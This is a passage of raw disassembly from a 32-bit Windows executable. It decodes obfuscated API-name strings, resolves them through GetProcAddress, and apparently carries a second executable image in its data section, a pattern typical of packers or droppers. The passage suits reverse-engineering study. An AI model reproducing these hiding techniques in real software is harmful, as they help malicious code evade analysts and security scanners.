[ebp-2Dh], 66h mov byte ptr [ebp-2Ch], 0 mov byte ptr [ebp-0Ch], 30h add byte ptr [ebp-0Ch], 28h mov byte ptr [ebp-0Bh], 42h add byte ptr [ebp-0Bh], 31h mov byte ptr [ebp-0Ah], 23h add byte ptr [ebp-0Ah], 47h mov byte ptr [ebp-9], 75h mov byte ptr [ebp-8], 66h mov byte ptr [ebp-7], 47h mov byte ptr [ebp-6], 6Ah mov byte ptr [ebp-5], 6Dh mov byte ptr [ebp-4], 4Dh add byte ptr [ebp-4], 19h mov byte ptr [ebp-3], 0 lea eax, [ebp-68h] mov [ebp-6Ch], eax loc_3D1B11: ; CODE XREF: sub_3D1900+236j push dword ptr [ebp-6Ch] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1B38 push dword ptr [ebp-6Ch] pop eax movsx eax, byte ptr [eax] dec eax push eax push dword ptr [ebp-6Ch] pop eax mov ecx, eax pop eax mov [ecx], al push dword ptr [ebp-6Ch] pop eax inc eax mov [ebp-6Ch], eax jmp short loc_3D1B11 ; --------------------------------------------------------------------------- loc_3D1B38: ; CODE XREF: sub_3D1900+21Aj lea eax, [ebp-48h] mov [ebp-70h], eax loc_3D1B3E: ; CODE XREF: sub_3D1900+25Dj mov eax, [ebp-70h] movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1B5F push dword ptr [ebp-70h] pop eax movsx eax, byte ptr [eax] dec eax push dword ptr [ebp-70h] pop ecx mov [ecx], al mov eax, [ebp-70h] inc eax mov [ebp-70h], eax jmp short loc_3D1B3E ; --------------------------------------------------------------------------- loc_3D1B5F: ; CODE XREF: sub_3D1900+246j lea eax, [ebp-28h] mov [ebp-74h], eax loc_3D1B65: ; CODE XREF: sub_3D1900+285j push dword ptr [ebp-74h] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1B87 mov eax, [ebp-74h] movsx eax, byte ptr [eax] dec eax push dword ptr [ebp-74h] pop ecx mov [ecx], al push dword ptr [ebp-74h] pop eax inc eax mov [ebp-74h], eax jmp short loc_3D1B65 ; --------------------------------------------------------------------------- loc_3D1B87: ; CODE XREF: sub_3D1900+26Ej lea eax, [ebp-58h] mov [ebp-78h], eax loc_3D1B8D: ; CODE XREF: sub_3D1900+2ACj push dword ptr [ebp-78h] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1BAE mov eax, [ebp-78h] movsx eax, byte ptr [eax] dec eax push dword ptr [ebp-78h] pop ecx mov [ecx], al mov eax, [ebp-78h] inc eax mov [ebp-78h], eax jmp short loc_3D1B8D ; --------------------------------------------------------------------------- loc_3D1BAE: ; CODE XREF: sub_3D1900+296j lea eax, [ebp-1Ch] mov [ebp-7Ch], eax loc_3D1BB4: ; CODE XREF: sub_3D1900+2D4j push dword ptr [ebp-7Ch] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1BD6 push dword ptr [ebp-7Ch] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp-7Ch] mov [ecx], al push dword ptr [ebp-7Ch] pop eax inc eax mov [ebp-7Ch], eax jmp short loc_3D1BB4 ; --------------------------------------------------------------------------- loc_3D1BD6: ; CODE XREF: sub_3D1900+2BDj lea eax, [ebp-34h] mov [ebp-80h], eax loc_3D1BDC: ; CODE XREF: sub_3D1900+2F9j mov eax, [ebp-80h] movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1BFB mov eax, [ebp-80h] movsx eax, byte ptr [eax] dec eax mov ecx, [ebp-80h] mov [ecx], al mov eax, [ebp-80h] inc eax mov [ebp-80h], eax jmp short loc_3D1BDC ; --------------------------------------------------------------------------- loc_3D1BFB: ; CODE XREF: sub_3D1900+2E4j lea eax, [ebp-0Ch] mov [ebp-84h], eax loc_3D1C04: ; CODE XREF: sub_3D1900+337j mov eax, [ebp-84h] movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1C39 push dword ptr [ebp-84h] pop eax movsx eax, byte ptr [eax] dec eax push eax push dword ptr [ebp-84h] pop eax mov ecx, eax pop eax mov [ecx], al push dword ptr [ebp-84h] pop eax inc eax mov [ebp-84h], eax jmp short loc_3D1C04 ; --------------------------------------------------------------------------- loc_3D1C39: ; CODE XREF: sub_3D1900+30Fj lea eax, [ebp-68h] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B40, eax lea eax, [ebp-48h] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B44, eax lea eax, [ebp-28h] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B48, eax lea eax, [ebp-58h] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B4C, eax lea eax, [ebp-1Ch] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B50, eax lea eax, [ebp-34h] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B54, eax lea eax, [ebp-0Ch] push eax push dword ptr [ebp-10h] call ds:dword_3D3000 ; GetProcAddress mov dword_431B58, eax leave retn sub_3D1900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1CC0 proc near ; CODE XREF: sub_3D1F6F+13p ; sub_3D1F6F+2Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 41h jl short loc_3D1CD7 cmp [ebp+arg_0], 5Ah jg short loc_3D1CD7 mov eax, [ebp+arg_0] add eax, 20h jmp short loc_3D1CDA ; --------------------------------------------------------------------------- loc_3D1CD7: ; CODE XREF: sub_3D1CC0+7j ; sub_3D1CC0+Dj mov eax, [ebp+arg_0] loc_3D1CDA: ; CODE XREF: sub_3D1CC0+15j pop ebp retn sub_3D1CC0 endp ; --------------------------------------------------------------------------- push ebp push esp pop ebp cmp dword ptr [ebp+8], 61h jl short loc_3D1CF4 cmp dword ptr [ebp+8], 7Ah jg short loc_3D1CF4 push dword ptr [ebp+8] pop eax sub eax, 20h jmp short loc_3D1CF7 ; --------------------------------------------------------------------------- loc_3D1CF4: ; CODE XREF: .text:003D1CE3j ; .text:003D1CE9j mov eax, [ebp+8] loc_3D1CF7: ; CODE XREF: .text:003D1CF2j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp push esp pop ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp push esp pop ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_3D1D10 proc near ; CODE XREF: .text:003D1D3Ap ; .text:003D1D4Ep ... push ebp push esp pop ebp push ecx push dword ptr [ebp+8] push 0 call ds:dword_3D3018 ; GetProcessHeap push eax call ds:dword_3D3014 ; RtlAllocateHeap mov [ebp-4], eax mov eax, [ebp-4] leave retn sub_3D1D10 endp ; --------------------------------------------------------------------------- push ebp push esp pop ebp push dword ptr [ebp+8] pop eax imul eax, [ebp+0Ch] push eax call sub_3D1D10 pop ecx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jnz short loc_3D1D56 push dword ptr [ebp+0Ch] call sub_3D1D10 pop ecx jmp short loc_3D1D6B ; --------------------------------------------------------------------------- loc_3D1D56: ; CODE XREF: .text:003D1D49j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push 0 call ds:dword_3D3018 ; GetProcessHeap push eax call ds:dword_3D301C ; RtlReAllocateHeap loc_3D1D6B: ; CODE XREF: .text:003D1D54j pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1D6D proc near ; CODE XREF: .text:003D1DA0p arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_3D1D78 jmp short loc_3D1D8A ; --------------------------------------------------------------------------- loc_3D1D78: ; CODE XREF: sub_3D1D6D+7j push [ebp+arg_0] push 0 call ds:dword_3D3018 ; GetProcessHeap push eax call ds:dword_3D3020 ; RtlFreeHeap loc_3D1D8A: ; CODE XREF: sub_3D1D6D+9j pop ebp retn sub_3D1D6D endp ; --------------------------------------------------------------------------- push ebp push esp pop ebp push dword ptr [ebp+8] call sub_3D1D10 pop ecx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push dword ptr [ebp+8] call sub_3D1D6D pop ecx pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov al, [ebp+8] mov [ebp-4], al mov byte ptr [ebp-3], 0 leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp push esp pop ebp sub esp, 20h push 0Ah lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_3D20B8 add esp, 0Ch leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push 0Ah lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_3D1FD0 add esp, 0Ch leave retn ; --------------------------------------------------------------------------- align 10h push ebp push esp pop ebp push ecx push dword ptr [ebp+8] pop eax mov [ebp-4], eax loc_3D1E0B: ; CODE XREF: .text:003D1E45j cmp dword ptr [ebp+10h], 0 jz short loc_3D1E47 mov eax, [ebp+8] push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax mov cl, [ecx] mov [eax], cl push dword ptr [ebp+8] pop eax movsx eax, byte ptr [eax] mov ecx, [ebp+8] inc ecx mov [ebp+8], ecx push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax inc ecx mov [ebp+0Ch], ecx test eax, eax jz short loc_3D1E47 mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jmp short loc_3D1E0B ; --------------------------------------------------------------------------- loc_3D1E47: ; CODE XREF: .text:003D1E0Fj ; .text:003D1E3Cj cmp dword ptr [ebp+10h], 0 jz short loc_3D1E67 loc_3D1E4D: ; CODE XREF: .text:003D1E65j mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jz short loc_3D1E67 push dword ptr [ebp+8] pop eax mov byte ptr [eax], 0 push dword ptr [ebp+8] pop eax inc eax mov [ebp+8], eax jmp short loc_3D1E4D ; --------------------------------------------------------------------------- loc_3D1E67: ; CODE XREF: .text:003D1E4Bj ; .text:003D1E54j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= sub_3D1E6C proc near ; CODE XREF: sub_3D1022+Dp ; sub_3D16B0+CCp push ebp push esp pop ebp push ecx push dword ptr [ebp+8] pop eax mov [ebp-4], eax loc_3D1E77: ; CODE XREF: sub_3D1E6C+3Aj push dword ptr [ebp+10h] pop eax mov ecx, [ebp+10h] dec ecx mov [ebp+10h], ecx test eax, eax jz short loc_3D1EA8 push dword ptr [ebp+8] pop eax push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax mov cl, [ecx] mov [eax], cl push dword ptr [ebp+8] pop eax inc eax mov [ebp+8], eax push dword ptr [ebp+0Ch] pop eax inc eax mov [ebp+0Ch], eax jmp short loc_3D1E77 ; --------------------------------------------------------------------------- loc_3D1EA8: ; CODE XREF: sub_3D1E6C+18j push dword ptr [ebp-4] pop eax leave retn sub_3D1E6C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push dword ptr [ebp+8] pop eax mov [ebp-4], eax loc_3D1EB9: ; CODE XREF: .text:003D1EDCj push dword ptr [ebp+10h] pop eax push eax push dword ptr [ebp+10h] pop eax mov ecx, eax pop eax dec ecx mov [ebp+10h], ecx test eax, eax jz short loc_3D1EDE mov eax, [ebp+8] mov cl, [ebp+0Ch] mov [eax], cl mov eax, [ebp+8] inc eax mov [ebp+8], eax jmp short loc_3D1EB9 ; --------------------------------------------------------------------------- loc_3D1EDE: ; CODE XREF: .text:003D1ECBj mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1EE3 proc near ; CODE XREF: sub_3D10B2+2Ep ; sub_3D10B2+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_3D1EEB: ; CODE XREF: sub_3D1EE3+3Bj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] push eax push [ebp+arg_4] pop eax mov ecx, eax pop eax movzx ecx, byte ptr [ecx] sub eax, ecx mov [ebp+var_4], eax jnz short loc_3D1F20 push [ebp+arg_4] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3D1F20 push [ebp+arg_0] pop eax inc eax mov [ebp+arg_0], eax push [ebp+arg_4] pop eax inc eax mov [ebp+arg_4], eax jmp short loc_3D1EEB ; --------------------------------------------------------------------------- loc_3D1F20: ; CODE XREF: sub_3D1EE3+1Ej ; sub_3D1EE3+29j cmp [ebp+var_4], 0 jge short loc_3D1F2C or [ebp+var_4], 0FFFFFFFFh jmp short loc_3D1F3D ; --------------------------------------------------------------------------- loc_3D1F2C: ; CODE XREF: sub_3D1EE3+41j cmp [ebp+var_4], 0 jle short loc_3D1F3D mov [ebp+var_4], 0 add [ebp+var_4], 1 loc_3D1F3D: ; CODE XREF: sub_3D1EE3+47j ; sub_3D1EE3+4Dj push [ebp+var_4] pop eax leave retn sub_3D1EE3 endp ; --------------------------------------------------------------------------- push ebp push esp pop ebp push ecx mov eax, [ebp+8] mov [ebp-4], eax loc_3D1F4D: ; CODE XREF: .text:003D1F63j mov eax, [ebp-4] movsx eax, byte ptr [eax] push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax inc ecx mov [ebp-4], ecx test eax, eax jz short loc_3D1F65 jmp short loc_3D1F4D ; --------------------------------------------------------------------------- loc_3D1F65: ; CODE XREF: .text:003D1F61j push dword ptr [ebp-4] pop eax sub eax, [ebp+8] dec eax leave retn ; =============== S U B R O U T I N E ======================================= sub_3D1F6F proc near ; CODE XREF: sub_3D10B2+1Bp push ebp push esp pop ebp sub esp, 10h loc_3D1F75: ; CODE XREF: sub_3D1F6F+4Bj push dword ptr [ebp+8] pop eax movzx eax, byte ptr [eax] mov [ebp-0Ch], eax push dword ptr [ebp-0Ch] call sub_3D1CC0 pop ecx mov [ebp-4], eax mov eax, [ebp+8] inc eax mov [ebp+8], eax mov eax, [ebp+0Ch] movzx eax, byte ptr [eax] mov [ebp-10h], eax push dword ptr [ebp-10h] call sub_3D1CC0 pop ecx mov [ebp-8], eax mov eax, [ebp+0Ch] inc eax mov [ebp+0Ch], eax cmp dword ptr [ebp-4], 0 jz short loc_3D1FBC mov eax, [ebp-4] cmp eax, [ebp-8] jz short loc_3D1F75 loc_3D1FBC: ; CODE XREF: sub_3D1F6F+43j push dword ptr [ebp-4] pop eax sub eax, [ebp-8] leave retn sub_3D1F6F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D1FD0 proc near ; CODE XREF: .text:003D1DF2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_3D1FEB add esp, 10h mov eax, [ebp+arg_4] pop ebp retn sub_3D1FD0 endp ; =============== S U B R O U T I N E ======================================= sub_3D1FEB proc near ; CODE XREF: sub_3D1FD0+Ep ; sub_3D20B8+1Ap ... push ebp push esp pop ebp sub esp, 10h push dword ptr [ebp+0Ch] pop eax mov [ebp-4], eax cmp dword ptr [ebp+14h], 0 jz short loc_3D2017 mov eax, [ebp-4] mov byte ptr [eax], 0Eh add byte ptr [eax], 1Fh push dword ptr [ebp-4] pop eax inc eax mov [ebp-4], eax mov eax, [ebp+8] neg eax mov [ebp+8], eax loc_3D2017: ; CODE XREF: sub_3D1FEB+11j mov eax, [ebp-4] mov [ebp-10h], eax loc_3D201D: ; CODE XREF: sub_3D1FEB+82j push dword ptr [ebp+8] pop eax xor edx, edx div dword ptr [ebp+10h] mov [ebp-8], edx push dword ptr [ebp+8] pop eax xor edx, edx div dword ptr [ebp+10h] mov [ebp+8], eax cmp dword ptr [ebp-8], 9 jbe short loc_3D2056 push dword ptr [ebp-8] pop eax add eax, 57h push eax push dword ptr [ebp-4] pop eax mov ecx, eax pop eax mov [ecx], al push dword ptr [ebp-4] pop eax inc eax mov [ebp-4], eax jmp short loc_3D2069 ; --------------------------------------------------------------------------- loc_3D2056: ; CODE XREF: sub_3D1FEB+4Ej mov eax, [ebp-8] add eax, 30h push dword ptr [ebp-4] pop ecx mov [ecx], al mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_3D2069: ; CODE XREF: sub_3D1FEB+69j cmp dword ptr [ebp+8], 0 ja short loc_3D201D push dword ptr [ebp-4] pop eax mov byte ptr [eax], 0 mov eax, [ebp-4] dec eax mov [ebp-4], eax loc_3D207D: ; CODE XREF: sub_3D1FEB+C9j mov eax, [ebp-4] mov al, [eax] mov [ebp-9], al push dword ptr [ebp-4] pop eax push eax push dword ptr [ebp-10h] pop eax mov ecx, eax pop eax mov cl, [ecx] mov [eax], cl push dword ptr [ebp-10h] pop eax mov cl, [ebp-9] mov [eax], cl push dword ptr [ebp-4] pop eax dec eax mov [ebp-4], eax push dword ptr [ebp-10h] pop eax inc eax mov [ebp-10h], eax mov eax, [ebp-10h] cmp eax, [ebp-4] jb short loc_3D207D leave retn sub_3D1FEB endp ; =============== S U B R O U T I N E ======================================= sub_3D20B8 proc near ; CODE XREF: .text:003D1DD9p push ebp push esp pop ebp cmp dword ptr [ebp+10h], 0Ah jnz short loc_3D20DC cmp dword ptr [ebp+8], 0 jge short loc_3D20DC push 1 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_3D1FEB add esp, 10h jmp short loc_3D20EF ; --------------------------------------------------------------------------- loc_3D20DC: ; CODE XREF: sub_3D20B8+7j ; sub_3D20B8+Dj push 0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_3D1FEB add esp, 10h loc_3D20EF: ; CODE XREF: sub_3D20B8+22j push dword ptr [ebp+0Ch] pop eax pop ebp retn sub_3D20B8 endp ; --------------------------------------------------------------------------- db 3 dup(?) dd 42h dup(?) _text ends ; Section 2. (virtual address 00003000) ; Virtual size : 0000016C ( 364.) ; Section size in file : 0000016C ( 364.) ; Offset to raw data for section: 00003000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 3D3000h dword_3D3000 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_3D1137+CFr ... dword_3D3004 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_3D3008 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_3D1900+Er dword_3D300C dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_3D3010 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_3D14C4+110r dword_3D3014 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeapdword_3D3018 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; .text:003D1D5Er ... dword_3D301C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeapdword_3D3020 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_3D10B2+13o align 10h aGetmodulefilen db 'GetModuleFileNameA',0 ; DATA XREF: sub_3D10B2+26o align 4 aGetmodulefil_0 db 'GetModuleFileNameW',0 ; DATA XREF: sub_3D10B2:loc_3D10FCo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_3D1900+9o align 10h aI0 db '¨0',0 align 4 dd 2 dup(0) dd 315Eh, 3000h, 5 dup(0) dd 30D0h, 30E2h, 30F2h, 3106h, 3116h, 3126h, 3132h, 3144h dd 3152h, 0 dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h dd 746E756Fh, 2100000h, 70616548h, 6F6C6C41h, 1A30063h dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h dd 6F6C6C41h, 2160063h, 70616548h, 65657246h, 454B0000h dd 4C454E52h, 642E3233h, 6C6Ch align 100h _rdata ends ; Section 3. (virtual address 00004000) ; Virtual size : 0005DB60 ( 383840.) ; Section size in file : 0005DB60 ( 383840.) ; Offset to raw data for section: 00004000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 3D4000h dword_3D4000 dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0 ; sub_3D14C4:loc_3D15F5o ... dd 1A0040h, 8 dup(0) dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0) dd 4550h, 8014Ch, 2A425E19h, 2 dup(0) dd 818E00E0h, 1902010Bh, 2600h, 18C00h, 0 dd 3540h, 1000h, 4000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 22000h, 400h, 0 dd 2, 100000h, 4000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 6000h, 446h, 0A000h, 17CA0h, 4 dup(0) dd 9000h, 30Ch, 6 dup(0) dd 8000h, 18h, 0Ch dup(0) aCode db 'CODE',0 align 10h db 'l%',0 align 4 dd 1000h, 2600h, 400h, 3 dup(0) dd 60000020h, 41544144h, 0 dd 0A0h, 4000h, 200h, 2A00h, 3 dup(0) dd 0C0000040h, 535342h, 0 dd 665h, 5000h, 0 dd 2C00h, 3 dup(0) dd 0C0000000h, 6164692Eh, 6174h, 446h, 6000h, 600h, 2C00h dd 3 dup(0) dd 0C0000040h, 736C742Eh, 0 dd 8, 7000h, 0 dd 3200h, 3 dup(0) dd 0C0000000h, 6164722Eh, 6174h, 18h, 8000h, 200h, 3200h dd 3 dup(0) dd 50000040h, 6C65722Eh, 636Fh, 30Ch, 9000h, 400h, 3400h dd 3 dup(0) dd 50000040h, 7273722Eh, 63h, 17CA0h, 0A000h, 17E00h, 3800h dd 3 dup(0) dd 50000040h, 3 dup(0) dd 0B000h, 0 dd 3A00h, 3 dup(0) dd 50000040h, 28h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4400 proc near ; CODE XREF: sub_3D6170+39p ; sub_3D6170+54p jmp dword_4060C8 sub_3D4400 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 60C425FFh, 0C08B0040h, 60C025FFh, 0C08B0040h, 60BC25FFh dd 0C08B0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4420 proc near ; CODE XREF: sub_3D6170+3Fp ; sub_3D6170+5Ap jmp dword_4060B8 sub_3D4420 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4428 proc near ; CODE XREF: sub_3D61FC+BAp jmp dword_4060B4 sub_3D4428 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4430 proc near ; CODE XREF: sub_3D6170+78p jmp dword_4060D4 sub_3D4430 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4438 proc near ; CODE XREF: sub_3D61FC+85p jmp dword_4060B0 sub_3D4438 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 60AC25FFh, 0C08B0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4448 proc near ; CODE XREF: .data:003D648Ep jmp dword_4060A8 sub_3D4448 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 60A425FFh, 0C08B0040h, 60A025FFh, 0C08B0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4460 proc near ; CODE XREF: .data:003D5AFBp jmp dword_4060E4 sub_3D4460 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4468 proc near ; CODE XREF: .data:003D5AB2p jmp dword_4060E0 sub_3D4468 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D4470 proc near ; CODE XREF: .data:003D5AE5p jmp dword_4060DC sub_3D4470 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 609C25FFh, 0C08B0040h, 609825FFh, 0C08B0040h, 0BCC48353h dd 0ABBh, 0B9E85400h, 0F6FFFFFFh, 12C2444h, 0B70F0574h dd 8B30245Ch, 44C483C3h, 0C08BC35Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44AC proc near ; CODE XREF: sub_3D44EC+13p ; sub_3D4B78+53p jmp dword_406094 sub_3D44AC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44B4 proc near ; CODE XREF: sub_3D4C3C+3Fp ; sub_3D4C3C+9Dp jmp dword_406090 sub_3D44B4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44BC proc near ; CODE XREF: sub_3D4690+2Fp ; sub_3D46F4+1Ep ... jmp dword_40608C sub_3D44BC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44C4 proc near ; CODE XREF: sub_3D4690+56p ; sub_3D46F4+69p ... jmp dword_406088 sub_3D44C4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44CC proc near ; CODE XREF: sub_3D4B78+16p jmp dword_406084 sub_3D44CC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44D4 proc near ; CODE XREF: sub_3D4B78+29p ; sub_3D4C3C+2Dp ... jmp dword_406080 sub_3D44D4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44DC proc near ; CODE XREF: sub_3D4B78+B0p ; sub_3D4C3C+C6p ... jmp dword_40607C sub_3D44DC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D44E4 proc near ; CODE XREF: sub_3D4C3C+D0p jmp dword_406078 sub_3D44E4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D44EC proc near ; CODE XREF: sub_3D4544+6p push ebx push esi mov esi, offset dword_4055D0 cmp dword ptr [esi], 0 jnz short loc_3D4532 push 644h push 0 call sub_3D44AC ; LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_3D450F xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_3D450F: ; CODE XREF: sub_3D44EC+1Cj mov eax, dword_4055CC mov [ecx], eax mov dword_4055CC, ecx xor edx, edx loc_3D451E: ; CODE XREF: sub_3D44EC+44j mov eax, edx add eax, eax lea eax, [ecx+eax*8+4] mov ebx, [esi] mov [eax], ebx mov [esi], eax inc edx cmp edx, 64h jnz short loc_3D451E loc_3D4532: ; CODE XREF: sub_3D44EC+Aj mov eax, [esi] mov edx, [eax] mov [esi], edx pop esi pop ebx retn sub_3D44EC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D453C proc near ; CODE XREF: sub_3D4B78+33p ; sub_3D4B78+3Dp ... mov [eax], eax mov [eax+4], eax retn sub_3D453C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D4544 proc near ; CODE XREF: sub_3D458C+5Dp ; sub_3D45FC+73p ... push ebx push esi mov esi, edx mov ebx, eax call sub_3D44EC test eax, eax jnz short loc_3D4558 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_3D4558: ; CODE XREF: sub_3D4544+Dj mov edx, [esi] mov [eax+8], edx mov edx, [esi+4] mov [eax+0Ch], edx mov edx, [ebx] mov [eax], edx mov [eax+4], ebx mov [edx+4], eax mov [ebx], eax mov al, 1 pop esi pop ebx retn sub_3D4544 endp ; =============== S U B R O U T I N E ======================================= sub_3D4574 proc near ; CODE XREF: sub_3D458C+2Cp ; sub_3D458C+48p ... mov edx, [eax+4] mov ecx, [eax] mov [edx], ecx mov [ecx+4], edx mov edx, dword_4055D0 mov [eax], edx mov dword_4055D0, eax retn sub_3D4574 endp ; =============== S U B R O U T I N E ======================================= sub_3D458C proc near ; CODE XREF: sub_3D4938+6Cp ; sub_3D49C8+62p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov [esp+14h+var_14], edx mov ebp, eax mov ebx, [ebp+0] mov eax, [esp+14h+var_14] mov edx, [eax] mov [esi], edx mov edx, [eax+4] mov [esi+4], edx loc_3D45A8: ; CODE XREF: sub_3D458C+57j mov edi, [ebx] mov eax, [esi] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnz short loc_3D45CA mov eax, ebx call sub_3D4574 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_3D45DF 